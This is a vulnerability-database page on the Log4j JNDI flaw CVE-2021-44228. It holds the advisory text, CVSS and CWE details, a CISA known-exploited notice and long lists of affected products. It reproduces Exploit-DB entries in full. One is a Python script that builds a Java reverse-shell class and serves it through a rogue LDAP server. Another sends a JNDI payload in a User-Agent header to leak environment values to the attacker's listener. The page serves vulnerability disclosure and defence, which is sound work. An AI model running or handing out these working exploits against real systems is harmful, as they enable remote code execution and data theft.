CVE-2021-44228 : Detail

CVE-2021-44228

10
/
Critical
A08-Soft and Data Integrity FailA03-Injection
97.1%V3
Network
2021-12-10
00h00 +00:00
2025-02-04
14h25 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints

Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-502 Deserialization of Untrusted Data
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
CWE-400 Uncontrolled Resource Consumption
The product does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.
CWE-917 Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')
The product constructs all or part of an expression language (EL) statement in a framework such as a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 10 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Changed

An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Apache Log4j2 Remote Code Execution Vulnerability

Required action : For all affected software assets for which updates exist, the only acceptable remediation actions are: 1) Apply updates; OR 2) remove affected assets from agency networks. Temporary mitigations using one of the measures provided at https://www.cisa.gov/uscert/ed-22-02-apache-log4j-recommended-mitigation-measures are only acceptable until updates are available.

Known To Be Used in Ransomware Campaigns : Known

Added : 2021-12-09
23h00 +00:00

Action is due : 2021-12-23
23h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 51183

Publication date : 2023-03-31
22h00 +00:00
Author : Chan Nyein Wai
EDB Verified : No

# Exploit Title: AD Manager Plus 7122 - Remote Code Execution (RCE) # Exploit Author: Chan Nyein Wai & Thura Moe Myint # Vendor Homepage: https://www.manageengine.com/products/ad-manager/ # Software Link: https://www.manageengine.com/products/ad-manager/download.html # Version: Ad Manager Plus Before 7122 # Tested on: Windows # CVE : CVE-2021-44228 # Github Repo: https://github.com/channyein1337/research/blob/main/Ad-Manager-Plus-Log4j-poc.md ### Description In the summer of 2022, I have been doing security engagement on Synack Red Team in the collaboration with my good friend (Thura Moe Myint). At that time, Log4j was already widespread on the internet. Manage Engine had already patched the Ad Manager Plus to prevent it from being affected by the Log4j vulnerability. They had mentioned that Log4j was not affected by Ad Manager Plus. However, we determined that the Ad Manager Plus was running on our target and managed to exploit the Log4j vulnerability. ### Exploitation First, Let’s make a login request using proxy. Inject the following payload in the ```methodToCall``` parameter in the ```ADSearch.cc``` request. Then you will get the dns callback with username in your burp collabrator. ### Notes When we initially reported this vulnerability to Synack, we only managed to get a DNS callback and our report was marked as LDAP injection. However, we attempted to gain full RCE on the host but were not successful. Later, we discovered that Ad Manager Plus was running on another target, so we tried to get full RCE on that target. We realized that there was a firewall and an anti-virus running on the machine, so most of our payloads wouldn't work. After spending a considerable amount of time , we eventually managed to bypass the firewall and anti-virus, and achieve full RCE. ### Conclusion We had already informed Zoho about the log4j vulnerability, and even after it was fixed, they decided to reward us with a bonus bounty for our report. ### Mitigation Updating to a version of Ad Manager Plus higher than 7122 should resolve the issue.
Exploit Database EDB-ID : 50592

Publication date : 2021-12-13
23h00 +00:00
Author : kozmer
EDB Verified : No

# Exploit Title: Apache Log4j 2 - Remote Code Execution (RCE) # Date: 11/12/2021 # Exploit Authors: kozmer, z9fr, svmorris # Vendor Homepage: https://logging.apache.org/log4j/2.x/ # Software Link: https://github.com/apache/logging-log4j2 # Version: versions 2.0-beta-9 and 2.14.1. # Tested on: Linux # CVE: CVE-2021-44228 # Github repo: https://github.com/kozmer/log4j-shell-poc import subprocess import sys import argparse from colorama import Fore, init import subprocess import threading from http.server import HTTPServer, SimpleHTTPRequestHandler init(autoreset=True) def listToString(s): str1 = "" try: for ele in s: str1 += ele return str1 except Exception as ex: parser.print_help() sys.exit() def payload(userip , webport , lport): genExploit = ( """ import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.Socket; public class Exploit { public Exploit() throws Exception { String host="%s"; int port=%s; String cmd="/bin/sh"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start(); Socket s=new Socket(host,port); InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream(); OutputStream po=p.getOutputStream(),so=s.getOutputStream(); while(!s.isClosed()) { while(pi.available()>0) so.write(pi.read()); while(pe.available()>0) so.write(pe.read()); while(si.available()>0) po.write(si.read()); so.flush(); po.flush(); Thread.sleep(50); try { p.exitValue(); break; } catch (Exception e){ } }; p.destroy(); s.close(); } } """) % (userip, lport) # writing the exploit to Exploit.java file try: f = open("Exploit.java", "w") f.write(genExploit) f.close() print(Fore.GREEN + '[+] Exploit java class created success') except Exception as e: print(Fore.RED + f'[-] Something went wrong {e.toString()}') checkJavaAvailible() print(Fore.GREEN + '[+] Setting up fake LDAP server\n') # create the LDAP server on new thread t1 = threading.Thread(target=createLdapServer, args=(userip,webport)) t1.start() # start the web server httpd = HTTPServer(('localhost', int(webport)), SimpleHTTPRequestHandler) httpd.serve_forever() def checkJavaAvailible(): javaver = subprocess.call(['./jdk1.8.0_20/bin/java', '-version'], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL) if(javaver != 0): print(Fore.RED + '[-] Java is not installed inside the repository ') sys.exit() def createLdapServer(userip, lport): sendme = ("${jndi:ldap://%s:1389/a}") % (userip) print(Fore.GREEN +"[+] Send me: "+sendme+"\n") subprocess.run(["./jdk1.8.0_20/bin/javac", "Exploit.java"]) url = " http://{}:{}/#Exploit".format (userip, lport) subprocess.run(["./jdk1.8.0_20/bin/java", "-cp", "target/marshalsec-0.0.3-SNAPSHOT-all.jar", "marshalsec.jndi.LDAPRefServer", url]) def header(): print(Fore.BLUE+""" [!] CVE: CVE-2021-44228 [!] Github repo: https://github.com/kozmer/log4j-shell-poc """) if __name__ == "__main__": header() try: parser = argparse.ArgumentParser(description='please enter the values ') parser.add_argument('--userip', metavar='userip', type=str, nargs='+', help='Enter IP for LDAPRefServer & Shell') parser.add_argument('--webport', metavar='webport', type=str, nargs='+', help='listener port for HTTP port') parser.add_argument('--lport', metavar='lport', type=str, nargs='+', help='Netcat Port') args = parser.parse_args() #print(args.userip) payload(listToString(args.userip), listToString(args.webport), listToString(args.lport)) except KeyboardInterrupt: print(Fore.RED + "user interupted the program.") sys.exit(0)
Exploit Database EDB-ID : 50590

Publication date : 2021-12-13
23h00 +00:00
Author : leonjza
EDB Verified : No

# Exploit Title: Apache Log4j2 2.14.1 - Information Disclosure # Date: 12/12/2021 # Exploit Author: leonjza # Vendor Homepage: https://logging.apache.org/log4j/2.x/ # Version: <= 2.14.1 # CVE: CVE-2021-44228 #!/usr/bin/env python3 # Pure python ENV variable leak PoC for CVE-2021-44228 # Original PoC: https://twitter.com/Black2Fan/status/1470281005038817284 # # 2021 @leonjza import argparse import socketserver import threading import time import requests LDAP_HEADER = b'\x30\x0c\x02\x01\x01\x61\x07\x0a\x01\x00\x04\x00\x04\x00\x0a' class ThreadedTCPRequestHandler(socketserver.BaseRequestHandler): def handle(self) -> None: print(f' i| new connection from {self.client_address[0]}') sock = self.request sock.recv(1024) sock.sendall(LDAP_HEADER) data = sock.recv(1024) data = data[9:] # strip header # example response # # ('Java version 11.0.13\n' # '\x01\x00\n' # '\x01\x03\x02\x01\x00\x02\x01\x00\x01\x01\x00\x0b' # 'objectClass0\x00\x1b0\x19\x04\x172.16.840.1.113730.3.4.2') data = data.decode(errors='ignore').split('\n')[0] print(f' v| extracted value: {data}') class ThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer): pass def main(): parser = argparse.ArgumentParser(description='a simple log4j <=2.14 information disclosure poc ' '(ref: https://twitter.com/Black2Fan/status/1470281005038817284)') parser.add_argument('--target', '-t', required=True, help='target uri') parser.add_argument('--listen-host', default='0.0.0.0', help='exploit server host to listen on (default: 127.0.0.1)') parser.add_argument('--listen-port', '-lp', default=8888, help='exploit server port to listen on (default: 8888)') parser.add_argument('--exploit-host', '-eh', required=True, default='127.0.0.1', help='host where (this) exploit server is reachable') parser.add_argument('--leak', '-l', default='${java:version}', help='value to leak. ' 'see: https://twitter.com/Rayhan0x01/status/1469571563674505217 ' '(default: ${java:version})') args = parser.parse_args() print(f' i| starting server on {args.listen_host}:{args.listen_port}') server = ThreadedTCPServer((args.listen_host, args.listen_port), ThreadedTCPRequestHandler) serv_thread = threading.Thread(target=server.serve_forever) serv_thread.daemon = True serv_thread.start() time.sleep(1) print(f' i| server started') payload = f'${{jndi:ldap://{args.exploit_host}:{args.listen_port}/{args.leak}}}' print(f' i| sending exploit payload {payload} to {args.target}') try: r = requests.get(args.target, headers={'User-Agent': payload}) print(f' i| response status code: {r.status_code}') print(f' i| response: {r.text}') except Exception as e: print(f' e| failed to make request: {e}') finally: server.shutdown() server.server_close() if __name__ == '__main__': main()

Products Mentioned

Configuraton 0

Apache>>Log4j >> Version From (including) 2.0.1 To (excluding) 2.3.1

Apache>>Log4j >> Version From (including) 2.4.0 To (excluding) 2.12.2

Apache>>Log4j >> Version From (including) 2.13.0 To (excluding) 2.15.0

Apache>>Log4j >> Version 2.0

Apache>>Log4j >> Version 2.0

Apache>>Log4j >> Version 2.0

Apache>>Log4j >> Version 2.0

Configuraton 0

Siemens>>Sppa-t3000_ses3000_firmware >> Version *

    Siemens>>Sppa-t3000_ses3000 >> Version -

    Configuraton 0

    Siemens>>Captial >> Version To (excluding) 2019.1

      Siemens>>Captial >> Version 2019.1

      Siemens>>Captial >> Version 2019.1

      Siemens>>Comos >> Version *

      Siemens>>Desigo_cc_advanced_reports >> Version 4.0

      Siemens>>Desigo_cc_advanced_reports >> Version 4.1

      Siemens>>Desigo_cc_advanced_reports >> Version 4.2

      Siemens>>Desigo_cc_advanced_reports >> Version 5.0

      Siemens>>Desigo_cc_advanced_reports >> Version 5.1

      Siemens>>Desigo_cc_info_center >> Version 5.0

      Siemens>>Desigo_cc_info_center >> Version 5.1

      Siemens>>E-car_operation_center >> Version To (excluding) 2021-12-13

        Siemens>>Energy_engage >> Version 3.1

        Siemens>>Energyip >> Version 8.5

        Siemens>>Energyip >> Version 8.6

        Siemens>>Energyip >> Version 8.7

        Siemens>>Energyip >> Version 9.0

        Siemens>>Energyip_prepay >> Version 3.7

        Siemens>>Energyip_prepay >> Version 3.8

        Siemens>>Gma-manager >> Version To (excluding) 8.6.2j-398

        Siemens>>Head-end_system_universal_device_integration_system >> Version *

        • Siemens>>Head-end_system_universal_device_integration_system >> Version - (Open CPE detail)

        Siemens>>Industrial_edge_management >> Version *

        Siemens>>Industrial_edge_management_hub >> Version To (excluding) 2021-12-13

          Siemens>>Logo\!_soft_comfort >> Version *

          Siemens>>Mendix >> Version *

          Siemens>>Mindsphere >> Version To (excluding) 2021-12-11

            Siemens>>Navigator >> Version To (excluding) 2021-12-13

              Siemens>>Nx >> Version *

                Siemens>>Opcenter_intelligence >> Version To (including) 3.2

                Siemens>>Operation_scheduler >> Version To (including) 1.1.3

                Siemens>>Sentron_powermanager >> Version 4.1

                Siemens>>Sentron_powermanager >> Version 4.2

                Siemens>>Siguard_dsa >> Version 4.2

                Siemens>>Siguard_dsa >> Version 4.3

                Siemens>>Siguard_dsa >> Version 4.4

                Siemens>>Sipass_integrated >> Version 2.80

                Siemens>>Sipass_integrated >> Version 2.85

                Siemens>>Siveillance_command >> Version To (including) 4.16.2.1

                  Siemens>>Siveillance_control_pro >> Version *

                  Siemens>>Siveillance_identity >> Version 1.5

                  Siemens>>Siveillance_identity >> Version 1.6

                  Siemens>>Siveillance_vantage >> Version *

                  Siemens>>Siveillance_viewpoint >> Version *

                    Siemens>>Solid_edge_cam_pro >> Version *

                      Siemens>>Solid_edge_harness_design >> Version To (excluding) 2020

                        Siemens>>Solid_edge_harness_design >> Version 2020

                        Siemens>>Solid_edge_harness_design >> Version 2020

                        Siemens>>Solid_edge_harness_design >> Version 2020

                        Siemens>>Spectrum_power_4 >> Version To (excluding) 4.70

                        Siemens>>Spectrum_power_4 >> Version 4.70

                        Siemens>>Spectrum_power_4 >> Version 4.70

                        Siemens>>Spectrum_power_4 >> Version 4.70

                        Siemens>>Spectrum_power_7 >> Version To (excluding) 2.30

                        Siemens>>Spectrum_power_7 >> Version 2.30

                        Siemens>>Spectrum_power_7 >> Version 2.30

                        Siemens>>Spectrum_power_7 >> Version 2.30

                        Siemens>>Teamcenter >> Version *

                        Siemens>>Vesys >> Version To (excluding) 2019.1

                        Siemens>>Vesys >> Version 2019.1

                        Siemens>>Vesys >> Version 2019.1

                        Siemens>>Vesys >> Version 2019.1

                        Siemens>>Xpedition_enterprise >> Version -

                        Siemens>>Xpedition_package_integrator >> Version -

                        Configuraton 0

                        Intel>>Audio_development_kit >> Version -

                        Intel>>Computer_vision_annotation_tool >> Version -

                        Intel>>Data_center_manager >> Version To (excluding) 5.1

                        Intel>>Genomics_kernel_library >> Version -

                        Intel>>Oneapi_sample_browser >> Version -

                        Intel>>Secure_device_onboard >> Version -

                        Intel>>Sensor_solution_firmware_development_kit >> Version -

                        Intel>>System_debugger >> Version -

                        Intel>>System_studio >> Version -

                        Configuraton 0

                        Debian>>Debian_linux >> Version 9.0

                        Debian>>Debian_linux >> Version 10.0

                        Debian>>Debian_linux >> Version 11.0

                        Configuraton 0

                        Fedoraproject>>Fedora >> Version 34

                        Fedoraproject>>Fedora >> Version 35

                        Configuraton 0

                        Sonicwall>>Email_security >> Version To (excluding) 10.0.12

                        Configuraton 0

                        Netapp>>Active_iq_unified_manager >> Version -

                        Netapp>>Active_iq_unified_manager >> Version -

                        Netapp>>Active_iq_unified_manager >> Version -

                        Netapp>>Cloud_insights >> Version -

                        Netapp>>Cloud_manager >> Version -

                        Netapp>>Cloud_secure_agent >> Version -

                        Netapp>>Oncommand_insight >> Version -

                        Netapp>>Ontap_tools >> Version -

                        Netapp>>Snapcenter >> Version -

                        Configuraton 0

                        Cisco>>Advanced_malware_protection_virtual_private_cloud_appliance >> Version To (excluding) 3.5.4

                          Cisco>>Automated_subsea_tuning >> Version To (excluding) 2.1.0

                            Cisco>>Broadworks >> Version To (excluding) 2021.11_1.162

                            Cisco>>Business_process_automation >> Version To (excluding) 3.0.000.115

                              Cisco>>Business_process_automation >> Version From (including) 3.1.000.000 To (excluding) 3.1.000.044

                                Cisco>>Business_process_automation >> Version From (including) 3.2.000.000 To (excluding) 3.2.000.009

                                  Cisco>>Cloud_connect >> Version To (excluding) 12.6\(1\)

                                    Cisco>>Cloudcenter >> Version To (excluding) 4.10.0.16

                                      Cisco>>Cloudcenter_cost_optimizer >> Version To (excluding) 5.5.2

                                        Cisco>>Cloudcenter_suite_admin >> Version To (excluding) 5.3.1

                                          Cisco>>Cloudcenter_workload_manager >> Version To (excluding) 5.5.2

                                            Cisco>>Common_services_platform_collector >> Version To (excluding) 2.9.1.3

                                            Cisco>>Common_services_platform_collector >> Version From (including) 2.10.0 To (excluding) 2.10.0.1

                                              Cisco>>Connected_mobile_experiences >> Version -

                                              Cisco>>Contact_center_domain_manager >> Version To (excluding) 12.5\(1\)

                                                Cisco>>Contact_center_management_portal >> Version To (excluding) 12.5\(1\)

                                                  Cisco>>Crosswork_data_gateway >> Version To (excluding) 2.0.2

                                                    Cisco>>Crosswork_data_gateway >> Version 3.0.0

                                                    Cisco>>Crosswork_network_controller >> Version To (excluding) 2.0.1

                                                      Cisco>>Crosswork_network_controller >> Version 3.0.0

                                                      Cisco>>Crosswork_optimization_engine >> Version To (excluding) 2.0.1

                                                        Cisco>>Crosswork_optimization_engine >> Version 3.0.0

                                                        Cisco>>Crosswork_platform_infrastructure >> Version To (excluding) 4.0.1

                                                          Cisco>>Crosswork_platform_infrastructure >> Version 4.1.0

                                                          Cisco>>Crosswork_zero_touch_provisioning >> Version To (excluding) 2.0.1

                                                            Cisco>>Crosswork_zero_touch_provisioning >> Version 3.0.0

                                                            Cisco>>Customer_experience_cloud_agent >> Version To (excluding) 1.12.1

                                                              Cisco>>Cyber_vision_sensor_management_extension >> Version To (excluding) 4.0.3

                                                              Cisco>>Data_center_network_manager >> Version To (excluding) 11.3\(1\)

                                                              Cisco>>Data_center_network_manager >> Version 11.3\(1\)

                                                              Cisco>>Dna_center >> Version To (excluding) 2.1.2.8

                                                              Cisco>>Dna_center >> Version From (including) 2.2.2.0 To (excluding) 2.2.2.8

                                                              Cisco>>Dna_center >> Version From (including) 2.2.3.0 To (excluding) 2.2.3.4

                                                              Cisco>>Dna_spaces:_connector >> Version To (excluding) 2.5

                                                              Cisco>>Emergency_responder >> Version To (excluding) 11.5\(4\)

                                                              Cisco>>Enterprise_chat_and_email >> Version To (excluding) 12.0\(1\)

                                                              Cisco>>Evolved_programmable_network_manager >> Version To (including) 4.1.1

                                                              Cisco>>Finesse >> Version To (excluding) 12.6\(1\)

                                                              Cisco>>Finesse >> Version 12.6\(1\)

                                                              Cisco>>Fog_director >> Version -

                                                              Cisco>>Identity_services_engine >> Version To (excluding) 2.4.0

                                                              Cisco>>Identity_services_engine >> Version 2.4.0

                                                              Cisco>>Integrated_management_controller_supervisor >> Version To (excluding) 2.3.2.1

                                                              Cisco>>Intersight_virtual_appliance >> Version To (excluding) 1.0.9-361

                                                              Cisco>>Iot_operations_dashboard >> Version -

                                                              Cisco>>Network_assurance_engine >> Version To (excluding) 6.0.2

                                                              Cisco>>Network_services_orchestrator >> Version To (excluding) 5.3.5.1

                                                              Cisco>>Network_services_orchestrator >> Version From (including) 5.4 To (excluding) 5.4.5.2

                                                              Cisco>>Network_services_orchestrator >> Version From (including) 5.5 To (excluding) 5.5.4.1

                                                              Cisco>>Network_services_orchestrator >> Version From (including) 5.6 To (excluding) 5.6.3.1

                                                              Cisco>>Nexus_dashboard >> Version To (excluding) 2.1.2

                                                              Cisco>>Nexus_insights >> Version To (excluding) 6.0.2

                                                                Cisco>>Optical_network_controller >> Version To (excluding) 1.1.0

                                                                Cisco>>Packaged_contact_center_enterprise >> Version To (excluding) 11.6

                                                                Cisco>>Packaged_contact_center_enterprise >> Version 11.6\(1\)

                                                                Cisco>>Paging_server >> Version To (excluding) 14.4.1

                                                                Cisco>>Prime_service_catalog >> Version To (excluding) 12.1

                                                                Cisco>>Sd-wan_vmanage >> Version To (excluding) 20.3.4.1

                                                                Cisco>>Sd-wan_vmanage >> Version From (including) 20.4 To (excluding) 20.4.2.1

                                                                Cisco>>Sd-wan_vmanage >> Version From (including) 20.5 To (excluding) 20.5.1.1

                                                                Cisco>>Sd-wan_vmanage >> Version From (including) 20.6 To (excluding) 20.6.2.1

                                                                Cisco>>Smart_phy >> Version To (excluding) 3.2.1

                                                                Cisco>>Ucs_central >> Version To (excluding) 2.0\(1p\)

                                                                  Cisco>>Ucs_director >> Version To (excluding) 6.8.2.0

                                                                  Cisco>>Unified_communications_manager >> Version To (excluding) 11.5\(1\)

                                                                  Cisco>>Unified_communications_manager >> Version To (excluding) 11.5\(1\)

                                                                  Cisco>>Unified_communications_manager >> Version 11.5\(1\)

                                                                  Cisco>>Unified_communications_manager >> Version 11.5\(1\)

                                                                  Cisco>>Unified_communications_manager >> Version 11.5\(1\)

                                                                  Cisco>>Unified_communications_manager >> Version 11.5\(1\)su3

                                                                  Cisco>>Unified_communications_manager_im_and_presence_service >> Version To (excluding) 11.5\(1\)

                                                                  • Cisco>>Unified_communications_manager_im_and_presence_service >> Version - (Open CPE detail)
                                                                  • Cisco>>Unified_communications_manager_im_and_presence_service >> Version 9.0\(1\) (Open CPE detail)
                                                                  • Cisco>>Unified_communications_manager_im_and_presence_service >> Version 10.5 (Open CPE detail)
                                                                  • Cisco>>Unified_communications_manager_im_and_presence_service >> Version 10.5\(1\) (Open CPE detail)
                                                                  • Cisco>>Unified_communications_manager_im_and_presence_service >> Version 10.5\(2\) (Open CPE detail)
                                                                  • Cisco>>Unified_communications_manager_im_and_presence_service >> Version 10.5\(2\)su10 (Open CPE detail)
                                                                  • Cisco>>Unified_communications_manager_im_and_presence_service >> Version 11.0\(1\) (Open CPE detail)
                                                                  • Cisco>>Unified_communications_manager_im_and_presence_service >> Version 11.5 (Open CPE detail)

                                                                  Cisco>>Unified_communications_manager_im_and_presence_service >> Version 11.5\(1\)

                                                                  • Cisco>>Unified_communications_manager_im_and_presence_service >> Version 11.5\(1\) (Open CPE detail)

                                                                  Cisco>>Unified_contact_center_enterprise >> Version To (excluding) 11.6\(2\)

                                                                  Cisco>>Unified_contact_center_enterprise >> Version 11.6\(2\)

                                                                  Cisco>>Unified_contact_center_express >> Version To (excluding) 12.5\(1\)

                                                                  Cisco>>Unified_customer_voice_portal >> Version To (excluding) 11.6

                                                                  Cisco>>Unified_customer_voice_portal >> Version 11.6

                                                                  Cisco>>Unified_customer_voice_portal >> Version 12.0

                                                                  Cisco>>Unified_customer_voice_portal >> Version 12.5

                                                                  Cisco>>Unity_connection >> Version To (excluding) 11.5\(1\)

                                                                  Cisco>>Video_surveillance_operations_manager >> Version To (excluding) 7.14.4

                                                                  Cisco>>Virtual_topology_system >> Version To (excluding) 2.6.7

                                                                  Cisco>>Virtualized_infrastructure_manager >> Version To (excluding) 3.2.0

                                                                  Cisco>>Virtualized_infrastructure_manager >> Version From (including) 3.4.0 To (excluding) 3.4.4

                                                                    Cisco>>Virtualized_voice_browser >> Version To (excluding) 12.5\(1\)

                                                                    Cisco>>Wan_automation_engine >> Version To (excluding) 7.3.0.2

                                                                    Cisco>>Webex_meetings_server >> Version To (excluding) 3.0

                                                                    Cisco>>Webex_meetings_server >> Version 3.0

                                                                    Cisco>>Webex_meetings_server >> Version 3.0

                                                                    Cisco>>Webex_meetings_server >> Version 3.0

                                                                    Cisco>>Webex_meetings_server >> Version 3.0

                                                                    Cisco>>Webex_meetings_server >> Version 3.0

                                                                    Cisco>>Webex_meetings_server >> Version 3.0

                                                                    Cisco>>Webex_meetings_server >> Version 3.0

                                                                    Cisco>>Webex_meetings_server >> Version 3.0

                                                                    Cisco>>Webex_meetings_server >> Version 3.0

                                                                    Cisco>>Webex_meetings_server >> Version 3.0

                                                                    Cisco>>Webex_meetings_server >> Version 4.0

                                                                    Cisco>>Webex_meetings_server >> Version 4.0

                                                                    Cisco>>Webex_meetings_server >> Version 4.0

                                                                    Cisco>>Webex_meetings_server >> Version 4.0

                                                                    Cisco>>Workload_optimization_manager >> Version To (excluding) 3.2.1

                                                                      Cisco>>Unified_intelligence_center >> Version To (excluding) 12.6\(1\)

                                                                      Cisco>>Unified_sip_proxy >> Version To (excluding) 10.2.1v2

                                                                        Cisco>>Unified_workforce_optimization >> Version To (excluding) 11.5\(1\)

                                                                          Configuraton 0

                                                                          Cisco>>Firepower_1010 >> Version -

                                                                          Cisco>>Firepower_1120 >> Version -

                                                                          Cisco>>Firepower_1140 >> Version -

                                                                          Cisco>>Firepower_1150 >> Version -

                                                                          Cisco>>Firepower_2110 >> Version -

                                                                          Cisco>>Firepower_2120 >> Version -

                                                                          Cisco>>Firepower_2130 >> Version -

                                                                          Cisco>>Firepower_2140 >> Version -

                                                                          Cisco>>Firepower_4110 >> Version -

                                                                          Cisco>>Firepower_4112 >> Version -

                                                                          Cisco>>Firepower_4115 >> Version -

                                                                          Cisco>>Firepower_4120 >> Version -

                                                                          Cisco>>Firepower_4125 >> Version -

                                                                          Cisco>>Firepower_4140 >> Version -

                                                                          Cisco>>Firepower_4145 >> Version -

                                                                          Cisco>>Firepower_4150 >> Version -

                                                                          Cisco>>Firepower_9300 >> Version -

                                                                          Cisco>>Fxos >> Version 6.2.3

                                                                          Cisco>>Fxos >> Version 6.3.0

                                                                          Cisco>>Fxos >> Version 6.4.0

                                                                          Cisco>>Fxos >> Version 6.5.0

                                                                          Cisco>>Fxos >> Version 6.6.0

                                                                          Cisco>>Fxos >> Version 6.7.0

                                                                          Cisco>>Fxos >> Version 7.0.0

                                                                          Cisco>>Fxos >> Version 7.1.0

                                                                          Configuraton 0

                                                                          Cisco>>Automated_subsea_tuning >> Version 02.01.00

                                                                          Cisco>>Broadworks >> Version -

                                                                          Cisco>>Cloudcenter_suite >> Version 4.10\(0.15\)

                                                                            Cisco>>Cloudcenter_suite >> Version 5.3\(0\)

                                                                              Cisco>>Cloudcenter_suite >> Version 5.4\(1\)

                                                                                Cisco>>Cloudcenter_suite >> Version 5.5\(0\)

                                                                                  Cisco>>Cloudcenter_suite >> Version 5.5\(1\)

                                                                                    Cisco>>Common_services_platform_collector >> Version 002.009\(000.000\)

                                                                                      Cisco>>Common_services_platform_collector >> Version 002.009\(000.001\)

                                                                                        Cisco>>Common_services_platform_collector >> Version 002.009\(000.002\)

                                                                                          Cisco>>Common_services_platform_collector >> Version 002.009\(001.000\)

                                                                                            Cisco>>Common_services_platform_collector >> Version 002.009\(001.001\)

                                                                                              Cisco>>Common_services_platform_collector >> Version 002.009\(001.002\)

                                                                                                Cisco>>Common_services_platform_collector >> Version 002.010\(000.000\)

